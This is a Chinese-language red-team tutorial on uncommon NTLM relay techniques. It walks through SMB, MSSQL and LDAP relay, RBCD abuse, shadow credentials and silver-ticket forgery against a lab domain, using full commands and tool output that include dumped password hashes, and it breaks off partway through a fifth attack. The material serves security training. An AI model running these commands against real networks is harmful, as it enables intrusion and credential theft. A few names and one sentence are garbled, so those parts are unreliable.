Beyond the Basics Exploring Uncommon NTLM Relay Attack Techniques
NTLM(NT LAN Manager)中继是一种攻击技术,尽管已经存在多年,但仍然极为有效。无论是在内部假设漏洞的参与中,还是在获得初步立足点后的红队评估中,中继 NTLM 凭证都是一种经过验证的方法,可以破坏用户凭证并获得对 Windows 系统的未授权访问。然而,尽管该技术成功且广泛使用,但仍有一些鲜为人知的 NTLM 中继攻击可能被许多进攻性安全专业人员所忽视。本文旨在突出这些鲜为人知的攻击,并将其添加到您的武器库中。
在我展示这些具体攻击之前,@HackAndDo撰写了一篇优秀的参考资料,为需要入门的读者提供了 NTLM 中继的基础知识。
此外,这里是本文中提到的工具的快速参考:
-
Ntlmrelayx – 多功能工具,支持多种协议(如 SMB、HTTP 和 LDAP)的监听器和客户端。用于捕获并中继 NTLM 凭证到目标系统,支持多种应用协议。 -
Responder – NBT-NS/LLMNR/mDNS/DHCP欺骗工具。用于诱使附近系统向攻击者的主机进行身份验证。 -
Mitm6 – IPv6 攻击工具。用于滥用 Windows 默认的 IPv6 设置,并将攻击者的系统设为目标的主要 DNS 服务器。 -
Coercer – 身份验证强制工具。用于通过各种 Windows 协议远程触发目标系统的身份验证尝试。
目录
-
攻击 1:通过非管理员 SMB 中继枚举域用户名 -
攻击 2:中继到 Microsoft SQL Server -
攻击 3:中继到 LDAP 并配置基于资源的委派 -
攻击 4:无先前凭证的影子凭证攻击 -
伪造银票 -
攻击 5:使用先前凭证的影子凭证攻击 -
结论
攻击 1:通过非管理员 SMB 中继枚举域用户名
或许最著名的 NTLM 中继攻击涉及捕获身份验证尝试(通过名称解析欺骗、身份验证强制或其他中间人攻击)并将 NTLM 凭证中继到不需要 SMB 签名的主机。在这种情况下,理想的结果是中继一个在目标系统上具有管理权限的用户帐户,并利用这些权限从注册表中转储凭证或执行命令。但是,如果您中继的用户帐户在目标上没有本地管理员权限呢?
除了以您中继的用户帐户的权限浏览 SMB 文件共享外,这通常不会带来太大价值,但仍值得检查,您还可以做一些更有用的事情——枚举域用户帐户!如果您仍在寻找在域中获得的第一个经过身份验证的立足点,并且没有广泛的用户列表进行密码喷洒,这将极为宝贵。
除了 ntlmrelayx 外,本文提到的每个中继攻击都将使用它,进行此技术所需的主要工具是Impacket lookupsid.py 脚本。
要开始攻击,请使用“ -socks”选项启动 ntlmrelayx,以为每个成功的中继创建一个 SOCKS 代理连接。
# ntlmrelayx.py -smb2support -t smb://10.2.10.31 -socks
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] SMB Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
* Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
* Debug mode: off
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
接下来,执行适合您环境的名称解析欺骗攻击(例如,通过 Responder 或 mitm6),并等待连接到达,然后将其中继到目标的 SMB 服务。
[*] SMBD-Thread-9 (process_request_thread): Received connection from 10.2.10.21, attacking target smb://10.2.10.31
<em>[*] Authenticating against smb://10.2.10.31 as BABYSTEPS/USER1 SUCCEED
[*] SOCKS: Adding BABYSTEPS/[email protected](445) to active SOCKS connection. Enjoy</em>
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ---------- --------------- ----------- ----
<em>SMB 10.2.10.31 BABYSTEPS/USER1 FALSE 445</em>
如前所述,尽管“BABYSTEPSUSER1”账户在目标上缺乏本地管理员权限,但我们仍然可以利用该认证会话通过 Impacket 的 lookupsid.py 工具枚举域用户账户,特别是使用“ -domain-sids”标志。
由于我们使用的是 ntlmrelayx 建立的 SOCKS 连接,我们将通过 proxychains 执行我们的 lookupsid.py 命令。首先,我们需要编辑“/etc/proxychains.conf”文件,并确保它使用端口 1080,这是 ntlmrelayx 使用的默认 SOCKS 端口。
现在我们准备使用 lookupsid.py 命令来枚举域用户。请注意,由于我们利用的是现有的认证连接,因此此命令不需要密码。
# proxychains lookupsid.py -no-pass -domain-sids babysteps/[email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
<em>[*] Brute forcing SIDs at 10.2.10.31</em>
[*] StringBinding ncacn_np:10.2.10.31[pipelsarpc]
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.31:445-<><>-OK
[*] Domain SID is: S-1-5-21-3396363035-2530258332-185159541
.. SNIP ..
<em>1108: babystepsUser1 (SidTypeUser)
1109: babystepsUser2 (SidTypeUser)
1110: babystepsUser3 (SidTypeUser)
1111: babystepsUser4 (SidTypeUser)
1112: babystepsUser5 (SidTypeUser)
1113: babystepsUser6 (SidTypeUser)
1114: babystepsUser7 (SidTypeUser)
1115: babystepsUser8 (SidTypeUser)
1116: babystepsUser9 (SidTypeUser)
1117: babystepsUser10 (SidTypeUser)
1118: babystepsUser11 (SidTypeUser)
1119: babystepsUser12 (SidTypeUser)
1120: babystepsUser13 (SidTypeUser)
1121: babystepsUser14 (SidTypeUser)
1122: babystepsUser15 (SidTypeUser)
1123: babystepsUser16 (SidTypeUser)
1124: babystepsUser17 (SidTypeUser)
1125: babystepsUser18 (SidTypeUser)
1126: babystepsUser19 (SidTypeUser)
1127: babystepsUser20 (SidTypeUser)</em>
Attack 2: Relaying to Microsoft SQL Server
在某些情况下,转发 NTLM 凭据到 SMB 服务可能会失败(例如,网络中可能需要 SMB 签名,或者您无法转发任何具有本地管理员权限的帐户,并且已经拥有完整的域用户名列表)。转发到 Microsoft SQL Server (MSSQL) 服务是一个很好的替代方案,可以导致远程代码执行或权限提升,并且往往被忽视。
对于这种类型的转发,我建议使用 ntlmrelayx 的“-socks”标志或“-i”标志以启用“交互模式”。启用交互模式后,您可以使用伪 MSSQL 命令提示符并通过利用 Impacket 的 mssqlclient.py 执行各种命令。
首先,我们将执行 ntlmrelayx,同时针对 MSSQL 实例并指定“-i”标志以启用交互模式。
# ntlmrelayx.py -smb2support -t mssql://10.2.10.31 -i
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
在另一个终端执行名称解析欺骗攻击后,我们接收到来自“babystepsdomainadmin”用户的 SMB 连接,并将其转发到目标的 MSSQL 服务。
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.2.10.21, attacking target mssql://10.2.10.31
<em>[*] Authenticating against mssql://10.2.10.31 as BABYSTEPS/DOMAINADMIN SUCCEED
[*] Started interactive MSSQL shell via TCP on 127.0.0.1:11000</em>
现在我们可以使用 ncat 等工具与本地主机端口 11000 上的 MSSQL shell 进行交互。一旦连接成功,我们可以使用内置的“xp_cmdshell”别名命令来启用该存储过程,并在主机上执行“whoami”命令。
# ncat -n 127.0.0.1 11000
[!] Press help for extra shell commands
SQL (babystepsdomainadmin dbo@master)> xp_cmdshell whoami
output
----------------------
<em>nt servicemssqlserver</em>
如果我们没有 MSSQL sysadmin 权限,无法运行“xp_cmdshell”存储过程来执行操作系统命令,那么在建立 MSSQL shell 后的一个替代步骤是利用“xp_dirtree”或“xp_fileexist”存储过程来发起与攻击者控制的 SMB 服务的远程连接。根据 MSSQL 服务配置运行的用户,这可能会导致获取一个 NTLMv2 哈希,该哈希可以被破解或转发到网络中的另一个 MSSQL 或 SMB 服务。
攻击 3:转发到 LDAP 并配置基于资源的委派
在此攻击场景中,假设以下条件为真:
-
域的 MachineAccountQuota 属性不是默认值 10,和/或 SeMachineAccountPrivilege 权限没有分配给经过身份验证的用户组,这会阻止您将任意计算机对象添加到域中。 -
关于这一点的说明:如果不是这种情况,我们可以通过“–delegate-access”标志在一个 ntlmrelayx 命令中执行整个攻击,该命令将尝试创建一个新的计算机帐户并配置 Kerberos 基于资源的委派(RBCD),所有这些都可以通过一个命令完成。这篇文章 是我几年前写的,详细解释了这个攻击——请跳到“攻击演练——场景 3”下的基于资源的受限委派部分。 -
您之前在一个加入域的系统上获得了本地管理员权限,并成功收集了 LSA 秘密,在此过程中获取了计算机帐户的 NT 哈希。
此攻击的目标是将计算机帐户的 NTLM 凭据转发到域控制器上的 LDAP 服务,并执行以下操作:
-
通过将我们之前被攻陷的计算机帐户添加到被转发计算机帐户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中来配置 Kerberos RBCD。 -
在冒充具有本地管理员权限的用户的情况下,为被转发计算机帐户上的服务获取 Kerberos 票据授予服务(TGS)票据。 -
使用 TGS 票据获得对被转发计算机的远程管理访问权限。
为了更好地控制此攻击期间发生的事情,我更喜欢使用 ntlmrelayx 的“交互模式”,就像我们之前使用 MSSQL 转发时一样,但这次使用 LDAP 作为协议。ntlmrelayx 命令将类似于以下内容:
# ntlmrelayx.py -t ldap://10.2.10.11 -i -6 -wh wpad-lab
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
在一个单独的终端中执行名称解析欺骗攻击后,我们接收到来自 10.2.10.21 系统的 HTTP 连接,并将 LA-WIN11-22H2-1$ 计算机帐户凭据中继到 10.2.10.11 的 LDAP 服务。身份验证成功,并在本地主机的 11000 端口建立了一个交互式 LDAP shell。
# ntlmrelayx.py -t ldap://10.2.10.11 -i -6 -wh wpad-lab
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Serving PAC file to client ::ffff:10.2.10.21
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Connection from ::ffff:10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Connection from ::ffff:10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
<em>[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as BABYSTEPS/LA-WIN11-22H2-1$</em>
接下来,我们使用 ncat 与 LDAP shell 进行交互,并使用 help 命令列出可用的命令。
# ncat -n 127.0.0.1 11000
Type help for list of commands
# help
add_computer computer
[nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user
- Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
<em>set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).</em>
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
exit - Terminates this session.
假设我们之前被攻陷的计算机账户名为 LA-SRV01-2019 账户的 RBCD 权限:
# set_rbcd LA-WIN11-22H2-1$ LA-SRV01-2019$
Found Target DN: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
Target SID: S-1-5-21-3396363035-2530258332-185159541-1106
Found Grantee DN: CN=LA-SRV01-2019,OU=Servers,DC=babysteps,DC=domain
Grantee SID: S-1-5-21-3396363035-2530258332-185159541-1107
<em>Delegation rights modified successfully!
LA-SRV01-2019$ can now impersonate users on LA-WIN11-22H2-1$ via S4U2Proxy</em>
为了继续进行远程代码执行并攻陷目标系统,我们将使用 Impacket getST.py 脚本代表 babystepsadministrator 用户获取 WSMAN SPN 的 TGS 票据,这将允许我们通过 WinRM 连接到目标。
# getST.py -impersonate administrator -spn 'WSMAN/LA-WIN11-22H2-1.babysteps.domain' -dc-ip 10.2.10.11 -hashes :62a68d39b231ca68d2f81d8f614c86cc 'babysteps.domain/LA-SRV01-2019$'
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@[email protected]
最后,我们配置 KRB5CCNAME 环境变量,使其指向我们的 TGS 票据,并利用 evil-winrm 以 babystepsadministrator 用户身份连接到目标。
# export KRB5CCNAME=/tmp/administrator@[email protected]
# evil-winrm -i LA-WIN11-22H2-1.babysteps.domain -r BABYSTEPS.DOMAIN --spn WSMAN
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UsersAdministratorDocuments> whoami
<em>babystepsadministrator</em>
攻击 4:无先前凭据的影子凭据攻击
在此攻击中,我们将使用 LDAP NTLM 中继技术通过“影子凭据”技术进行计算机账户接管。这涉及到修改计算机账户的 msDS-KeyCredentialLink 属性,是一种很好的替代 Kerberos 基于资源的委派攻击的方法,因为它不需要添加新的计算机账户或妥协现有账户。有关影子凭据攻击如何工作的更多信息,请参阅 @elad_shamir 的这篇 优秀文章。
此攻击成功的前提条件:
-
环境中必须有至少运行 Windows Server 2016 的域控制器。 -
目标域功能级别必须为 Windows Server 2016 或更高。 -
在攻击过程中使用的域控制器必须拥有自己的证书和密钥(如果配置了 Active Directory 证书服务,则满足此条件)。
此攻击有用的场景:
-
您没有目标域的凭据。 -
您正在运行 mitm6 或 Responder 等工具进行 DHCP 欺骗,并且您识别到来自域计算机账户的频繁 HTTP 身份验证尝试。
攻击过程概述:
-
将计算机账户凭据中继到域控制器上的 LDAP 服务,并使用唯一的 DeviceID 和其他数据(包括公钥)更新该计算机的 msDS-KeyCredentialLink 属性。在此过程中,相应的私钥和证书将保存在攻击系统的磁盘上。 -
使用 PKINIT 身份验证将预身份验证数据(使用在上一步中创建的私钥加密)发送到域控制器,并作为中继的计算机账户获取 Kerberos 票据授予票(TGT)。
作为第一步,我们将启动 ntlmrelayx,使用“–shadow-credentials”选项,并将“–shadow-target”参数设置为我们期望中继的计算机账户的名称(在本例中为 LA-WIN11-22H2-1$)。
# ntlmrelayx.py --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' -t ldap://10.2.10.11 --no-acl --no-dump --no-da -wh wpad-lab -6
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
接下来,在一个单独的终端中运行 mitm6 以执行 DHCPv6 中毒和 DNS 欺骗。
# mitm6 -i eth0 -d babysteps.domain
Starting mitm6 using the following configuration:
Primary adapter: eth0 [bc:24:11:00:3d:8b]
IPv4 address: 10.2.10.1
IPv6 address: fe80::be24:11ff:fe00:3d8b
DNS local search domain: babysteps.domain
DNS allowlist: babysteps.domain
<em>IPv6 address fe80::10:2:10:21 is now assigned to mac=bc:24:11:6c:81:cc host=LA-WIN11-22H2-1.babysteps.domain. ipv4=10.2.10.21
Sent spoofed reply for wpad.babysteps.domain. to fe80::f410:b348:6aa5:7cb3
Sent spoofed reply for wpad-lab.babysteps.domain. to fe80::f410:b348:6aa5:7cb3</em>
在短暂等待后,我们收到了来自 LA-WIN11-22H2-1$ 计算机账户的 HTTP 连接及其 NTLM 凭据。这些凭据随后被中继到域控制器上的 LDAP 服务,并更新了中继计算机账户的 msDS-KeyCredentialLink 属性。
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Serving PAC file to client ::ffff:10.2.10.21
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED
[*] Searching for the target account
[*] Target user found: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
<em>[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: fb99a0b1-1764-85e7-0e44-f3ddecd179ab
[*] Updating the msDS-KeyCredentialLink attribute of LA-WIN11-22H2-1$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: F0COeLZL.pfx
[*] Must be used with password: 5k55VL7oiSAaVuR7S4XH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx F0COeLZL.pfx -pfx-pass 5k55VL7oiSAaVuR7S4XH babysteps.domain/LA-WIN11-22H2-1$ F0COeLZL.ccache</em>
现在我们可以使用证书和私钥以及 PKINIT 认证来为 LA-WIN11-22H2-1$ 计算机账户获取 TGT。在这一步中,我们将利用 @_dirkjan 的 gettgtpkinit.py 脚本,该脚本来自 PKINITtools 仓库。
# python3 ./gettgtpkinit.py -cert-pfx /root/F0COeLZL.pfx -pfx-pass 5k55VL7oiSAaVuR7S4XH -dc-ip 10.2.10.11 'babysteps.domain/LA-WIN11-22H2-1$' /root/F0COeLZL.ccache
2024-05-09 09:45:35,778 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-05-09 09:45:35,789 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-05-09 09:45:35,805 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-05-09 09:45:35,805 minikerberos INFO 5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4
INFO:minikerberos:5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4
2024-05-09 09:45:35,807 minikerberos <em>INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file</em>
一旦您获得了中继计算机账户的 TGT,就有两种方法可以获得对该系统的特权访问:
-
使用 TGT 和 Kerberos S4U2Self 过程来模拟主机上任意服务的特权用户账户。 -
从获得的 TGT 中提取计算机账户的 NT 哈希,并伪造一个银票以模拟主机上任意服务的特权用户账户。
我将演示这两种攻击选项的步骤。
S4U2Self
在此步骤中,我们需要从同一个 PKINITtools 仓库中获取 gets4uticket.py 工具,该仓库也提供了 gettgtpkinit.py 脚本。命令的语法有点复杂,因此请注意所有参数。输出文件将存储为“administrator-cifs.ccache”,它将是 [email protected] 用户到 LA-WIN11-22H2-1$ 主机的 CIFS TGS 票证。
# python3 ./gets4uticket.py kerberos+ccache://babysteps.domain\LA-WIN11-22H2-1$:[email protected] CIFS/[email protected] [email protected] administrator-cifs.ccache
在此攻击的最后步骤中,我们设置 KRB5CCNAME 环境变量以使用 CIFS 票证,然后利用 Impacket 的 secretsdump 工具从 LA-WIN11-22H2-1 系统中获取凭据。
# export KRB5CCNAME=/opt/tools/PKINITtools/administrator-cifs.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/administrator-cifs.ccache
Default principal: LA-WIN11-22H2-1$@BABYSTEPS.DOMAIN
Valid starting Expires Service principal
05/09/24 09:45:35 05/09/24 19:45:35 krbtgt/[email protected]
05/09/24 10:02:41 05/09/24 19:45:35 CIFS/[email protected]
for client [email protected]
# secretsdump.py -k -no-pass LA-WIN11-22H2-1.babysteps.domain
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x70dbf3603437de39da5015f1a8216a97
<em>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9e4e8b74ff693eda4db3b46084209c45:::
localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] Dumping cached domain logon information (domain/username:hash)
BABYSTEPS.DOMAIN/domainuser:$DCC2$10240#domainuser#52de9526af33a9a8b8ee60413492e474: (2024-05-09 11:40:48)</em>
.. SNIP ..
伪造银票
为了为 LA-WIN11-22H2-1 主机上的服务伪造我们的银票,我们需要该主机的 NT 哈希值来请求 TGT。要获取该 NT 哈希值,我们可以使用 PKINITtools 仓库中的 getnthash.py 工具执行 UnPAC the hash 技术。请注意,命令中使用的“-key”值是 AS-REP 加密密钥,并在之前的 gettgtpkinit.py 命令的输出中打印出来。
# export KRB5CCNAME=/opt/tools/PKINITtools/F0COeLZL.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/F0COeLZL.ccache
Default principal: LA-WIN11-22H2-1$@BABYSTEPS.DOMAIN
Valid starting Expires Service principal
05/09/24 09:45:35 05/09/24 19:45:35 krbtgt/[email protected]
# python3 ./getnthash.py -dc-ip 10.2.10.11 -key 5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4 'babysteps.domain/LA-WIN11-22H2-1$'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
<em>Recovered NT Hash
1d71869aed329543b37a520096015ee6</em>
现在我们已经获得了 LA-WIN11-22H2-1$ 计算机账户的 NT 哈希值,我们可以将其作为 RC4 加密密钥,使用 Impacket ticketer.py 工具伪造该系统的银票。
伪造银票所需的一个重要细节是目标域的 SID。有很多方法可以获取该值,在这个例子中,我将使用 pywerview 工具获取 babystepsadministrator 账户的 SID。该账户的 SID 中将包含域本身的 SID,因此这是一种获取我们所需值的捷径。
# python3 ./pywerview.py get-adobject -d babysteps.domain -u domainuser -p 'password' -t 10.2.10.11 --sam-account-name administrator --attributes objectsid
objectsid: <em>S-1-5-21-3396363035-2530258332-185159541</em>-500
现在我们拥有创建银票所需的所有数据。在这个例子中,我们将为 babystepsadministrator 用户创建一个 CIFS 服务的银票。
# ticketer.py -domain babysteps.domain -domain-sid S-1-5-21-3396363035-2530258332-185159541 -nthash 1d71869aed329543b37a520096015ee6 -spn cifs/LA-WIN11-22H2
-1.babysteps.domain administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for babysteps.domain/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart [*] EncTGSRepPart
<em>[*] Saving ticket in administrator.ccache</em>
最后,我们将设置 KRB5CCNAME 环境变量,并利用 secretsdump 从 LA-WIN11-22H2-1 的注册表中提取凭据。
# export KRB5CCNAME=/opt/tools/PKINITtools/administrator.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/administrator.ccache
Default principal: [email protected]
Valid starting Expires Service principal
05/09/24 14:55:36 05/07/34 14:55:36 cifs/[email protected]
renew until 05/07/34 14:55:36
# secretsdump.py -k -no-pass LA-WIN11-22H2-1.babysteps.domain
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x70dbf3603437de39da5015f1a8216a97
<em>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</em>
.. SNIP ..
攻击 5:使用先前凭据的影子凭据攻击
此攻击与之前的攻击非常相似,主要区别在于在这种情况下,我们已经至少妥协了一个域用户或计算机凭据。这为身份验证强制技术打开了机会,例如 PetitPotam、Printer Bug 或其他 Microsoft 协议技巧,例如在 Coercer 工具中实现的技巧。这使我们的 NTLM 中继攻击超越了本地子网,允许我们针对整个目标环境中的系统。
为了实现这一点,我们将依赖滥用 WebClient 服务来强制从 Windows 工作站获取 HTTP 身份验证。请注意,Windows 的服务器版本默认没有安装此服务;然而,Windows 10 和 11 等工作站版本确实安装了该服务。
以下是此攻击工作原理的高层概述:
-
我们找到一个运行 WebClient 服务的主机。这意味着我们可以滥用该服务,通过 HTTP 协议强制从该计算机帐户获取 NTLM 身份验证,并将其中继到域控制器上的 LDAP 服务(与无法中继到 LDAP 的 SMB 身份验证相对)。 -
在成功中继到 LDAP 后,我们将使用自己的 DeviceID 和公钥更新该计算机帐户的 msDS-KeyCredentialLink 属性,同时将私钥和证书文件保存到磁盘中。 -
最后,我们可以使用 PKINIT 身份验证为中继的计算机帐户获取 TGT,并使用 S4U2Self 或银票来妥协该系统。
首先,我们将使用 NetExec 的“webdav”模块以及我们之前妥协的凭据来检查目标系统是否启用了 WebClient 服务。
# nxc smb 10.2.10.21 -d babysteps.domain -u domainuser -p 'password' -M webdav
SMB 10.2.10.21 445 LA-WIN11-22H2-1 [*] Windows 11 Build 22621 x64 (name:LA-WIN11-22H2-1) (domain:babysteps.domain) (signing:False) (SMBv1:False)
SMB 10.2.10.21 445 LA-WIN11-22H2-1 [+] babysteps.domaindomainuser:password
<em>WEBDAV 10.2.10.21 445 LA-WIN11-22H2-1 WebClient Service enabled on: 10.2.10.21</em>
